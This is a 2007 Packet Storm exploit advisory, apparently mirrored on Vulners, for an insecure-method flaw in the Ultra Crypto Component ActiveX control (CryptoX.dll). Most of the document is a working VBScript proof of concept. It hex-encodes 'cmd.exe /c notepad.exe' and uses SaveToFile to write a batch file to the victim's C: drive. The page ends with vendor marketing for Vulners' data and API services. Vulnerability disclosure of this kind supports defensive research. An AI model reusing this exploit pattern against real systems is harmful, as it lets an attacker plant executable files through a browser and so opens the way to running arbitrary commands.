Lucene search
K

ultra-cryptox20.txt

🗓️ 10 Sep 2007 00:00:00Reported by shinnaiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 15 Views

Ultra Crypto Component "SaveToFile()" Insecure Method vulnerability on Windows X

Code
`<pre>  
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-------------------------------------------------------------------------------------  
<b>Ultra Crypto Component (CryptoX.dll <= 2.0) "SaveToFile()" Inscure Method</b>  
url: http://www.ultrashareware.com/  
  
author: shinnai  
mail: shinnai[at]autistici[dot]org  
site: http://shinnai.altervista.org  
  
This was written for educational purpose. Use it at your own risk.  
Author will be not responsible for any damage.  
  
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7  
all software that use this ocx are vulnerable to this exploits.  
  
<b>We can use the "HexString()" method to save into our batch file some lines.  
In this PoC, I convert "cmd.exe /c notepad.exe" in hexadecimal format, then  
I save it in a batch file :)</b>  
-------------------------------------------------------------------------------------  
  
<object classid='clsid:FD22F3AE-1450-4BDC-ADBE-6AF210A78C2C' id='test'></object>  
  
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">  
  
<script language='vbscript'>  
Sub tryMe  
Dim MyMsg   
test.HexString = "636D642E657865202F63206E6F74657061642E657865" 'cmd.exe /c notepad.exe  
test.SaveToFile "c:\shinnai.bat"  
MyMsg = MsgBox("Exploit completed!")  
End Sub  
</script>  
</span></span>  
  
</code></pre>  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation